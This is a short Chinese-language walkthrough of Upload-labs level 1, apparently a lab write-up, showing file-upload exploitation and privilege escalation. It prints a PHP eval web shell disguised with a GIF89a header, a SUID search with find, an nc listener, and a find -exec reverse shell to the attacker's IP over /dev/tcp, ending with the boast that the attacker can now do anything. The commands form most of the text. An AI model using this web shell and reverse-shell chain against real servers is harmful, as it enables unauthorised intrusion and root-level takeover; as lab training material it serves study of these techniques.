资讯详情

文件上传及提权

就从Upload-labs的第一关做演示
依旧一句话木马
GIF89a
<?php eval($_POST['a']);?>
依旧禁用JavaScript，上传木马

上传成功！
访问页面，复制URL

蚁剑连接

连接成功！
看一下他的权限

www-data低权限。那就想办法提权！
使用find命令查看具有suid权限的文件，发现有find文件
find / -perm -u=s -type f 2>/dev/null

打开kali，使用nc监听6666
nc -lvp 6666

回到目标机输入命令find /etc/passwd -exec bash -ip >& /dev/tcp/你的IP/6666 0>&1 \;

查看kali

有了！可以为所欲为了